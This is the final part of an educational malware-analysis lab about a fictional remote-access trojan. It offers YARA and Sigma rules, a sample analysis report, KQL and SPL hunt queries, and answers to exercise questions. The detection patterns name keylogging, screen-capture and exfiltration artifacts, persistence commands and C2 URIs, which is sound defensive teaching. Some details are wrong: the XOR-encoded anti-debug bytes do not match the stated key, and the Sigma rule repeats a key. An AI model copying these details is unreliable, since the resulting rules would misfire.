Description: Detects NIGHTSHADE RAT family based on
strings, structure, and behavioral indicators.
Reference: Lab 19 — Nexus SecOps
NOTE: ALL indicators are SYNTHETIC — for educational use only.
*/
rule NIGHTSHADE_RAT_v2 {
meta:
description = "Detects NIGHTSHADE RAT v2.x family"
author = "Sentinel Dynamics DFIR (SYNTHETIC)"
date = "2026-03-18"
malware_family = "NIGHTSHADE"
severity = "critical"
tlp = "WHITE"
reference = "SYNTHETIC — educational use only"
strings:
// Version strings
$version1 = "NIGHTSHADE v2" ascii wide
$version2 = "NDS_MTX_" ascii wide
// C2 URI patterns
$uri1 = "/api/v2/check" ascii
$uri2 = "/api/v2/upload" ascii
$uri3 = "/api/v2/task" ascii
// File artifacts
$file1 = "nds_keylog" ascii wide
$file2 = "nds_screen" ascii wide
$file3 = "NDS_EXFIL" ascii wide
// Persistence artifacts
$persist1 = "AdobeReaderAutoUpdate" ascii wide
$persist2 = "AdobeUpdate.exe" ascii wide
// Crypto marker
$crypto1 = { 5A 5A 5A 5A } // XOR key pattern
// PE section name
$section = ".ndata" ascii
// Anti-debug strings (XOR encoded, key 0x5A)
// "IsDebuggerPresent" XOR 0x5A
$antidbg_xor = { 13 39 24 35 38 3B 33 33 35 38
20 38 35 39 35 3E 3A }
condition:
uint16(0) == 0x5A4D and // MZ header
filesize < 1MB and
(
(any of ($version*)) or
(2 of ($uri*)) or
(2 of ($file*) and 1 of ($persist*)) or
($section and $crypto1 and any of ($uri*))
)
}
5.5 Sigma Rule¶
# Sigma Rule: NIGHTSHADE RAT — Process Behavior
# SYNTHETIC — for educational use only
title: NIGHTSHADE RAT Process Indicators
id: a1b2c3d4-e5f6-0718-293a-4b5c6d7e8f90
status: experimental
description: |
Detects behavioral indicators associated with the NIGHTSHADE RAT
family, including persistence installation, keylogger artifacts,
and C2 communication patterns. All indicators are SYNTHETIC.
references:
- https://nexus-secops.pages.dev/labs/lab19-ghidra-reverse-engineering/
author: Sentinel Dynamics DFIR (SYNTHETIC)
date: 2026/03/18
tags:
- attack.persistence
- attack.t1547.001
- attack.collection
- attack.t1056.001
- attack.command_and_control
- attack.t1071.001
logsource:
category: process_creation
product: windows
detection:
selection_persistence:
CommandLine|contains:
- 'AdobeReaderAutoUpdate'
- 'AdobeReaderUpdate'
CommandLine|contains:
- 'schtasks'
- 'reg add'
selection_artifacts:
CommandLine|contains:
- 'nds_keylog'
- 'nds_screen'
- 'NDS_EXFIL'
selection_binary:
Image|endswith: '\AdobeUpdate.exe'
Image|contains: '\AppData\Local\Adobe\'
condition: 1 of selection_*
falsepositives:
- Legitimate Adobe update processes (verify digital signature)
level: high
5.6 Structured Analysis Report Template¶
Malware Analysis Report — NIGHTSHADE RAT v2.1
Classification: CONFIDENTIAL — SYNTHETIC (Educational) Report Date: 2026-03-18 Analyst: SOC Analyst (Lab Exercise) Organization: Sentinel Dynamics (Fictional)
1. Executive Summary
A targeted spear-phishing attack delivered a Remote Access Trojan (RAT) designated NIGHTSHADE v2.1 to a Sentinel Dynamics analyst workstation on 2026-03-18. The malware, disguised as an Adobe Reader update, establishes encrypted C2 communications via HTTPS and provides the attacker with keylogging, screen capture, file exfiltration, command execution, and process injection capabilities. The campaign is attributed to the fictional threat group EMERALD VIPER (campaign ID: EMERALD-2026-Q1-SD).
2. Sample Information
| Field | Value |
|---|---|
| Filename | AdobeReaderUpdate_v23.1.exe |
| SHA256 | a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90 |
| File Type | PE32 GUI executable |
| Size | 487,424 bytes |
| Compiler | MSVC 14.29 (Visual Studio 2019) |
| Compile Date | 2026-03-14 03:22:17 UTC |
3. Key Findings
- Multi-capability RAT with 12 command types
- XOR string encryption (key: 0x5A) for IOC obfuscation
- AES-256 encrypted C2 communications over HTTPS
- Resilient C2 infrastructure: 2 domains + 3 fallback IPs
- Dual persistence: Registry Run key + Scheduled Task
- Anti-debugging: 4 techniques with decoy behavior
- Kill date: 2026-06-30
4. IOC Summary
See Section 3.6 of this lab for the complete IOC table.
5. MITRE ATT&CK Coverage
14 techniques across 9 tactics (see Section 4.6).
6. Recommendations
- Block all identified C2 domains and IPs at network perimeter
- Deploy YARA rule (Section 5.4) to endpoint detection platforms
- Hunt for mutex
Global\NDS_MTX_7F3A9B21across all endpoints - Search for registry key
AdobeReaderAutoUpdatein Run keys - Monitor for
nds_keylog.datandnds_screen_*.bmpin TEMP directories - Review proxy logs for
/api/v2/check,/api/v2/upload,/api/v2/taskURI patterns - Scan all inbound email for ZIP attachments containing PE files
5.7 Final Detection Queries¶
KQL — Comprehensive NIGHTSHADE hunt query:
// KQL: Comprehensive NIGHTSHADE RAT hunt
// Combines file, registry, network, and process indicators
let nightshade_hashes = dynamic([
"a1b2c3d4e5f60718293a4b5c6d7e8f90a1b2c3d4e5f60718293a4b5c6d7e8f90"
]);
let nightshade_domains = dynamic([
"update.sentinel-c2.example.com",
"backup.nightshade.example.com"
]);
let nightshade_ips = dynamic([
"192.0.2.100", "198.51.100.5", "203.0.113.57"
]);
// File-based indicators
let file_hits = DeviceFileEvents
| where SHA256 in (nightshade_hashes)
or FileName in ("AdobeUpdate.exe", "nds_keylog.dat")
or FileName startswith "nds_screen_"
or FileName startswith "NDS_EXFIL_"
| extend IndicatorType = "File", Indicator = FileName;
// Registry-based indicators
let reg_hits = DeviceRegistryEvents
| where RegistryValueName == "AdobeReaderAutoUpdate"
or RegistryValueData has "AdobeUpdate.exe"
| extend IndicatorType = "Registry", Indicator = RegistryValueName;
// Network-based indicators
let net_hits = DeviceNetworkEvents
| where RemoteUrl has_any (nightshade_domains)
or RemoteIP in (nightshade_ips)
| extend IndicatorType = "Network", Indicator = coalesce(RemoteUrl, RemoteIP);
// Combine all indicators
union file_hits, reg_hits, net_hits
| project Timestamp, DeviceName, IndicatorType, Indicator,
InitiatingProcessFileName, ActionType
| sort by Timestamp desc
SPL — Comprehensive NIGHTSHADE hunt:
index=endpoint OR index=proxy OR index=firewall
(
(sourcetype=sysmon EventCode=11
(TargetFilename="*AdobeUpdate.exe"
OR TargetFilename="*nds_keylog*"
OR TargetFilename="*nds_screen*"
OR TargetFilename="*NDS_EXFIL*"))
OR
(sourcetype=sysmon EventCode=13
TargetObject="*AdobeReaderAutoUpdate*")
OR
(sourcetype=sysmon EventCode=3
(DestinationHostname="*sentinel-c2.example.com"
OR DestinationHostname="*nightshade.example.com"
OR DestinationIp IN ("192.0.2.100", "198.51.100.5", "203.0.113.57")))
OR
(sourcetype IN ("squid", "bluecoat")
(url="*/api/v2/check*" OR url="*/api/v2/upload*" OR url="*/api/v2/task*"))
)
| eval indicator_type=case(
EventCode=11, "File",
EventCode=13, "Registry",
EventCode=3, "Network",
sourcetype IN ("squid", "bluecoat"), "Proxy",
true(), "Unknown"
)
| stats count earliest(_time) as first_seen latest(_time) as last_seen
values(indicator_type) as indicator_types
by Computer, Image
| convert ctime(first_seen) ctime(last_seen)
| sort -count
Exercise 5 Questions¶
Q5.1: Why is single-byte XOR encryption considered weak, and why do malware authors still use it?
Answer: Single-byte XOR is cryptographically trivial to break because:
- Only 255 possible keys (0x01–0xFF; 0x00 produces no change) — brute force takes milliseconds
- Frequency analysis — in encoded English text, the most common byte will likely be the key XORed with space (0x20) or 'e' (0x65)
- Known-plaintext attacks — if any expected string is known (e.g., "http://"), the key is immediately recoverable
- CyberChef/automated tools — tools like CyberChef, FLOSS, and XORSearch break single-byte XOR instantly
Despite this weakness, malware authors continue using it because:
- Defeats basic string scanning — automated scanners checking for plaintext IOCs will miss XOR-encoded strings
- Lightweight implementation — requires minimal code (single loop, single XOR operation)
- Defense in depth — even weak encryption adds a layer; combined with stack strings and dynamic API resolution, it raises the analysis effort
- Good enough — most automated sandboxes focus on dynamic behavior, not static string decryption, so XOR is "good enough" for initial evasion
Q5.2: How would you modify the YARA rule to detect NIGHTSHADE v1.x variants that may use a different XOR key?
Answer: To make the YARA rule version-agnostic:
- Remove the hardcoded XOR key pattern — the
$crypto1 = { 5A 5A 5A 5A }rule is too specific - Focus on structural indicators — the
.ndatasection name, PE characteristics, and code patterns are more stable across versions - Use wildcard patterns for version strings:
- Add code-based signatures — look for the XOR decryption loop pattern regardless of key:
- Use
pemodule for section detection:
This approach detects the family based on tooling fingerprints rather than campaign-specific IOCs.
Q5.3: What additional analysis would you perform in a real-world investigation beyond what this lab covers?
Answer: A complete investigation would also include:
- Dynamic analysis — execute the sample in a controlled sandbox (e.g., Cuckoo/CAPE, ANY.RUN) to observe actual network traffic, file system changes, and process behavior
- Memory forensics — analyze a memory dump from the infected host with Volatility3 to find injected code, decrypted configurations, and runtime artifacts (see Chapter 27)
- Network traffic analysis — capture and analyze PCAP of C2 communications to understand the protocol structure, command format, and any additional C2 channels
- Infrastructure pivoting — use passive DNS, WHOIS, and certificate transparency logs to map the C2 infrastructure and discover related domains/IPs
- Lateral movement investigation — determine if the attacker moved beyond the initial compromised host (see Chapter 38)
- Attribution research — compare TTPs, infrastructure, and code similarities against known threat actor profiles
- Threat intelligence sharing — produce STIX/TAXII packages for automated IOC sharing with ISACs and trusted partners
- Patch/update analysis — check if the initial access vector exploited a known vulnerability and ensure it is patched across the organization
Summary & Key Takeaways¶
Skills Practiced¶
| Skill | Exercise | Proficiency Level |
|---|---|---|
| PE header analysis | Exercise 1 | Intermediate |
| Ghidra navigation & auto-analysis | Exercise 1–2 | Intermediate |
| Function identification & renaming | Exercise 2 | Advanced |
| Control flow graph analysis | Exercise 2 | Advanced |
| String extraction & decoding | Exercise 3 | Advanced |
| IOC extraction & cataloging | Exercise 3 | Advanced |
| API call tracing | Exercise 4 | Expert |
| ATT&CK technique mapping | Exercise 4 | Advanced |
| XOR deobfuscation & scripting | Exercise 5 | Expert |
| YARA/Sigma rule creation | Exercise 5 | Expert |
| Malware analysis reporting | Exercise 5 | Expert |
| Detection query development | All | Advanced |
ATT&CK Techniques Covered¶
This lab covered 14 ATT&CK techniques across 9 tactics:
- Execution: T1059.003
- Persistence: T1547.001, T1053.005
- Privilege Escalation: T1055.001
- Defense Evasion: T1036.005, T1140, T1497.001, T1070.004
- Credential Access: T1056.001
- Discovery: T1082, T1057, T1010
- Collection: T1113, T1074.001
- Command and Control: T1071.001, T1573.001, T1008, T1105
- Exfiltration: T1041
What to Explore Next¶
- Lab 07 — Malware Triage — foundational triage skills that complement this deep-dive analysis
- Chapter 18 — Malware Analysis — comprehensive theory covering static, dynamic, and hybrid analysis
- Chapter 48 — Exploit Development Concepts — understanding the exploit development lifecycle
- Chapter 27 — Digital Forensics — memory forensics and artifact analysis
- Chapter 38 — Advanced Threat Hunting — proactive hunting for RAT indicators
- ATT&CK Technique Reference — full detection query library per technique
- Detection Query Library — additional KQL and SPL queries for malware detection
Lab Complete
You have completed a full static reverse engineering analysis of the NIGHTSHADE RAT using Ghidra. You analyzed PE headers, identified functions and control flow, extracted IOCs, mapped API calls to ATT&CK techniques, performed XOR deobfuscation, and produced detection rules and a structured analysis report. These skills are directly applicable to real-world malware analysis and threat intelligence roles.